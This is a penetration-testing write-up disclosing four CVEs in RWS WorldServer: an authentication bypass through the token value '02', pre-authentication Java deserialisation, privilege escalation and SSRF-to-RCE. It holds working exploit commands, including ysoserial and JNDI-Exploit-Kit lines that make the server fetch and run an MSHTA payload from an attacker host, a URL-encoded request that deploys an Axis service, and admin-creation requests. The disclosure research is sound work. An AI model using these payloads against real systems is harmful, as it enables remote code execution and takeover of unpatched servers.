Brecht Snijders, Principal Security Consultant
Some time ago we had the opportunity to look at the WorldServer web software, a translation management product built by RWS Group (originally built by SDL, which was acquired by RWS group in late 2020).
The software was approached from an unauthenticated perspective and several critical vulnerabilities were discovered, including a backdoor-like functionality which allowed for a full authentication bypass, pre-authenticated insecure java deserialisation, authenticated blind SSRF and privilege escalation, each ultimately resulting in Remote Code Execution.
The vulnerabilities detailed in this write-up have been responsibly disclosed to the vendor over a year ago and have since been resolved. Customers running the software should ensure they are on the latest version.
The main takeaways for penetration testers should be to always read documentation if it is available, which is how we found the initial critical vulnerability.
All testing was performed on version 11.3.5.4758. The vulnerabilities described in this write-up were discovered by Brecht Snijders, Principal Security Consultant and Daniel Le Souef.
When we first started looking at WorldServer, no public vulnerabilities or CVEs existed for this software, which is always an interesting observation. Since we knew nothing about the software, we started with reading the documentation, which is available at https://docs.rws.com/publications/WorldServer (800)/sdl worldserver11.3.
What stood out immediately was the use of session tokens as a GET or POST parameter to query the API, for example this API call from the documentation:
<protocol>://<ws-host>:<ws-port>/ws-api/v2/info?token=<sessionId>
With no further information on what type of token it required, we fuzzed the token parameter using ffuf with the hope of triggering some verbose errors that might give us more information about what the token parameter is expected to look like. To our great surprise, one particular token value stood out from the others:
To confirm what we had just stumbled upon, we used Burp to repeat the request:
This was quite the interesting find - adding a token parameter with the value of 02 somehow bypassed all authentication requirements. Digging further into the documentation, we found an API call that would return the current user details to us:
Having access to the system user seems bad, but so far we just have access to the API of a product we’re unfamiliar with and no other way of actually logging in. There also did not seem to be a way to create a new user using the API according to the documentation.
There was however one interesting bit about customising the REST API at https://docs.rws.com/791697/585715/sdl-worldserver-11-3-developer- documentation/customizing-the-rest-api. It did mention that the WorldServer SDK would be required, which we did not have access to at this stage.
Some further enumeration disclosed the existence of an Apache Axis webservice endpoint at /ws-legacy/services, disclosing a wealth of available services to call with the respective wsdl files and the required information to easily interact with them.
This also included a UserWSUserManager service, with a createUser function:
Using the amazing Wsdler Burp extension, we quickly created a new createUser request and sent it off, using our system token of 02:
After receiving a 200 HTTP response, we logged in successfully with our new administrative user:
Browsing the web application, our eyes landed on the ‘Asset Interface System’ page, which contained an ‘AIS Mounts’ configuration page.
It turns out this lets us mount any path on the file system:
From here, we can easily retrieve the WorldServer files, including the SDK, to build our custom API endpoint. Once we have the SDK, we followed the steps in the documentation to create our custom API:
package com.sdl.lt.worldserver.customizations.newextension;
import java.io.IOException;
import com.idiominc.wssdk.WSContext;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.RequestMethod;
@RestController
@RequestMapping ("/extensions/test")
public class NewExtension
{
@Autowired
private WSContext context;
@RequestMapping (value = "/clients", method = {RequestMethod.GET})
public String test() throws Exception {
try{
Process p = Runtime.getRuntime)(.exec("INSERT COMMAND HERE");
}
catch (IOException exception){
return "false";
}
return "PoC - Remote Code Execution";
}
}
After building it with Maven, we can simply upload it using the authentication bypass:
We chose a simple MSHTA payload using Metasploit to demonstrate the impact, which resulted in a SYSTEM shell (a quick PoC is a good PoC):
After obtaining the source code for WorldServer, it seems that the following function is responsible for the system account backdoor. It performed a check to ensure the token wasn’t empty and that the value is equal to 2.
public static boolean isSystemSessionToken(String token) {
return (token != null && token.trim().equals(String.valueOf(2)));
}
This function seems to be called for several authentication checks from several servlets, sometimes with the leading 0 being stripped from the token. It is for example possible to call the Apache Axis services with a token of 2 if it is passed as a request parameter, rather than 02, for example to create a new user:
http://10.0.0.142:8080/ws-legacy/services/UserWSUserManager?method=createUser_&username=newuser&password=wsadmin&firstName=triskele&lastName=labs&userType=Administrator&token=2
Some further enumeration with our hands on the source code led to a few other interesting vulnerabilities.
As with many Java source code reviews, we started with the web.xml file to discern which ingress points were available to the application.
WorldServer users have the option of using the Explorer JNLP application present at /ws-legacy/WorldServer-Explorer.jnlp to perform various tasks on the server using the app and the associated GUI.
When this app is in use, it communicates via the/ws-legacy/clientSupport
endpoint using serialised Java. An example of this is listed below:
POST /ws-legacy/clientSupport?&token=<redacted> HTTP/1.1
Content-type: application/x-java-serialized-object
User-Agent: Java/1.8.0_271
Host: localhost:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 188
Cookie: JSESSIONID=A824A40654527D78DD983E5D367D35B7
Connection: close
¬í sr 3com.idiominc.ws.message.messages.GetChildrenRequestù}õüDu J lastModifiedI maskL patht Ljava/lang/String;xr com.idiominc.ws.message.RequestóVÝÄÒÄ
xp 7/g
t /test
This endpoint requires authentication, but it is worth noting it is still vulnerable to a Java deserialisation attack by a user with access to any valid credentials.
However, we hunted for other endpoints that might be present that would allow an unauthenticated user to get code execution. After parsing the web.xml file for the /ws-legacy path, the /clientLogin endpoint returned a curious 802 response code.
Reviewing the code, we can see that this error is returned in the com.idiominc.ws.servlet.ClientSupport class, which is extended by the ClientLogin class, if an exception is encountered during request handling:
public void handle(PageContext pc) throws IOException {
try {
HttpServletRequest req = pc.getRequest();
pc.getWSContext().getAuthorizationContext()
.disableAuthentication(true);
if (!"application/x-java-serialized-object".equals(req.getContentType()))
throw new WSRuntimeException("Illegal mime-type " + req
.getContentType());
ObjectInputStream ois = new ObjectInputStream((InputStream)req.getInputStream());
Request request = (Request)ois.readObject();
checkRequest(request, pc);
RequestHandler rh = Configuration.getServerRequestHandlerManager().getRequestHandler(request);
Configuration.getLog().log(5, 4, "Processing request: " + request);
Response response = rh.processRequest(request, pc.getWSContext());
if (response.getErrorCode() != -1 && pc
.getTransaction().isOutstanding())
pc.getTransaction().commit();
pc.getResponse().setContentType("application/x-java-serialized-object");
pc.getResponse().setHeader("Content-Encoding", "gzip");
ObjectOutputStream oos = new ObjectOutputStream(new GZIPOutputStream((OutputStream)pc.getResponse().getOutputStream()));
oos.writeObject(response);
oos.close();
} catch (ClassNotFoundException e) {
reportError(pc, 800, "Received malformed request", e);
} catch (MessageException e) {
reportError(pc, 801, "Received invalid request", (Throwable)e);
} catch (Throwable e) {
reportError(pc, 802, "Exception encountered during request handling", e);
}
}
This code seems to deserialise Java objects without any sanitisation or authentication, which is very exciting from an attacker’s point of view, so we set the appropriate content-type header and send the POST request with some invalid text, resulting in the following error:
Exception encountered during request handling:
java.io.StreamCorruptedException: invalid stream header: 74657374
at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:938)
at java.io.ObjectInputStream.<init>(ObjectInputStream.java:396)
at com.idiominc.ws.servlet.ClientSupport.handle(ClientSupport.java:60)
at com.idiominc.ws.servlet.WSHttpServlet.handleServlet(WSHttpServlet.java:388)
at com.idiominc.ws.servlet.WSHttpServlet.service(WSHttpServlet.java:155)
This seems pretty straightforward - so let’s generate a serialised Java payload and see what happens. Using ysoserial, we create another MSHTA payload for our Metasploit server:
java -jar ~/tools/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections1 'cmd.exe /c mshta http://10.0.0.131:8000/TeXlpKamWoJVqk7.hta' > ping.bin
Since we need to send the serialised payload in a raw format, we use the following curl command:
curl --data-binary @ping.bin http://10.0.0.142:8080/ws-legacy/clientLogin -H "Content-Type: application/x-java-serialized-object"
This results in the command being executed on the server, confirming we have Pre-Auth Remote Code Execution by POST’ing a raw serialised object:
Shell:
The same Apache Axis service we used earlier to create a new user using the authentication bypass via the system account seems to be vulnerable to a privilege escalation issue as well since regular users can use the same endpoint to create a new user, including users with the Administrator role.
To verify this, we created a new ‘Translator’ user account:
After logging in, we obtained the token:
And used it to create a new admin user (Apache Axis services can usually be called via both GET and POST, as demonstrated here):
curl "http://10.0.0.142:8080/ws-legacy/services/UserWSUserManager?method=createUser_&username=newuser2&password=wsadmin&firstName=triskele&lastName=admin&userType=Administrator&token=164166319"
Lo and behold, our fresh admin user:
From here, RCE is trivial using any of the other techniques described in this blog post.
The com.idiominc.ws.servlet.LoadDTD class, found at /ws-legacy/load_dtd allows users with access to the application, including low-privileged users, to perform a blind Server-Side Request Forgery using the system_id parameter.
The following curl command can be used to perform a GET request to any host, internal or external:
curl "http://10.0.0.142:8080/ws-legacy/load_dtd?system_id=http://HOST&token=TOKENHERE" -v
This can be used to send a request to the Apache Axis AdminService listening on the local host as this service doesn’t require authentication when called locally. Using the techniques described in https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to- rce, this can be used to upload a new JSP file, resulting in code execution on the host as a low-privilege user.
The relevant WorldServer code is as follows:
public class LoadDTD extends WSHttpServlet {
public void handle(PageContext pc) throws IOException, StorageException, CompleteTransactionException {
String idDecl;
XHiveResolver.initializeResolver(pc.getWSContext());
String publicID = pc.getParameter("public_id");
String systemID = pc.getParameter("system_id");
if (publicID != null) {
idDecl = "PUBLIC '" + publicID + "' '" + ((systemID == null) ? "'" : (systemID + "'"));
} else {
idDecl = "SYSTEM '" + ((systemID == null) ? "'" : (systemID + "'"));
}
String doc = "<?xml version='1.0' encoding='UTF-8' standalone='no'?>\n<!DOCTYPE foo " + idDecl + ">\n<foo/>";
HttpServletResponse response = pc.getResponse();
response.setContentType("text/dtd;charset=UTF-8");
try {
SAXParser sAXParser = new SAXParser();
XHiveResolver.installResolver((XMLReader)sAXParser);
sAXParser.setProperty("http://xml.org/sax/properties/declaration-handler", new DTDDumper(pc
.getResponse().getWriter()));
sAXParser.parse(new InputSource(new StringReader(doc)));
} catch (Exception e) {
Log log = Configuration.getLog();
log.log(2, 3, "DTD generation error", e);
}
response.getWriter().close();
}
}
We can turn this into RCE by deploying a new Apache Axis service and making use of the LogHandler class to deploy a webshell, or we can use a more exotic technique using a JNDI lookup with the org.apache.axis.client.ServiceFactory class. The original write-up for the JNDI technique was found at https://www.cnblogs.com/nice0e3/p/15605781.html.
To confirm the SSRF, we use Burp to send the following request:
Resulting in the HTTP request to our Burp Collaborator instance:
To deploy our new Apache Axis service, we need to send a GET request to /ws- legacy/services/AdminService on the loopback address of the host running WorldServer, with the proper URL encoding:
http://10.0.0.142:8080/ws-legacy/load_dtd?system_id=http%3a//127.0.0.1%3a8080/ws-legacy/services/AdminService%3fmethod%3d!--%253E%253Cdeployment%2520xmlns%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252F%2522%2520xmlns%253Ajava%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252Fproviders%252Fjava%2522%253E%253Cservice%2520name%253D%2522ServiceFactoryService%2522%2520provider%253D%2522java%253ARPC%2522%253E%253Cparameter%2520name%253D%2522className%2522%2520value%253D%2522org.apache.axis.client.ServiceFactory%2522%252F%253E%253Cparameter%2520name%253D%2522allowedMethods%2522%2520value%253D%2522*%2522%252F%253E%253C%252Fservice%253E%253C%252Fdeployment&token=900648455
This results in our new service being created:
All that’s left is to call the service with the jndiName pointing to our rogue LDAP server. For this, we chose to use the excellent https://github.com/pimps/JNDI- Exploit-Kit and served up another MSHTA payload, though any other Windows command would work, including PowerShell one-liners or stagers.
Apart from the lack of having to write a webshell to the disk, which is an added benefit, this method of exploiting an Apache Axis SSRF also avoids the need to ensure your webshell is reachable or in the correct parent directory.
We spin up the LDAP server:
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C 'mshta http://10.0.0.131:8080/0iuSimsjJ1Z2451.hta'
And send our request in Burp, swapping the xsd : anyType for xsd : string for both the jndiName and value types:
We confirm we receive a successful lookup to our LDAP server and our payload is requested and served correctly:
Resulting in a reverse shell:
This software, while not extremely widespread, seems to be in use, or has been in use recently, at several major companies, including some of the biggest companies in the world.
It was clear that a thorough security review was never undertaken by the vendor, nor by the companies exposing it on their external perimeter.
Given the amount of recent high-profile intrusions via trivial bugs in 3rd party software, including VPN appliances and load balancers, file transfer appliances, MDM products and more, it is imperative companies perform their due diligence on the software they expose publicly.
Threat actors have cottoned on that 3rd party software seems to be an easy win if they invest the time and effort to get their hands on the software and spend some time looking for weaknesses and as such the threat model has shifted to ensure that you not only stay on top of patching, but perform code reviews and security testing of everything that is exposed.
CVE-2022-34267:
Product: WorldServer
Affected Versions: 11.7.2.243 and earlier versions
Fixed Version: 11.7.3
Vulnerability Type: Authentication Bypass
Security Risk: Critical
Vendor URL: https://www.rws.com/localization/products/additional-solutions/
Vendor Status: fixed version released
Advisory URL: https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
Advisory Status: published
CVE: CVE-2022-34267
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34267
CVE-2022-34268:
Product: WorldServer
Affected Versions: 11.7.2.243 and earlier versions
Fixed Version: 11.7.3
Vulnerability Type: Insecure Deserialisation
Security Risk: Critical
Vendor URL: https://www.rws.com/localization/products/additional-solutions/
Vendor Status: fixed version released
Advisory URL: https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
Advisory Status: published
CVE: CVE-2022-34268
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34268
CVE-2022-34270:
Product: WorldServer
Affected Versions: 11.7.2.243 and earlier versions
Fixed Version: 11.7.3
Vulnerability Type: Privilege Escalation
Security Risk: High
Vendor URL: https://www.rws.com/localization/products/additional-solutions/
Vendor Status: fixed version released
Advisory URL: https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
Advisory Status: published
CVE: CVE-2022-34270
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34270
CVE-2022-34269:
Product: WorldServer
Affected Versions: 11.7.2.243 and earlier versions
Fixed Version: 11.7.3
Vulnerability Type: Remote Code Execution
Security Risk: High
Vendor URL: https://www.rws.com/localization/products/additional-solutions/
Vendor Status: fixed version released
Advisory URL: https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
Advisory Status: published
CVE: CVE-2022-34269
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34269
Brecht is a CREST International Registered Tester (CRT), an Offensive Security Certified Professional (OSCP), an Offensive Security Certified Expert (OSCE) and a GIAC Exploit Researcher and Advanced Penetration Tester (GXPN).
As a keen Windows security researcher, Brecht is particularly interested in the operation system internals and their use in creating and detecting offensive tooling.
In addition to the above, Brecht maintains a strong interest in current Web technologies and vulnerabilities and vulnerability research of embedded devices such as routers, alarm systems and other Internet-of-Things devices.
Subscribe_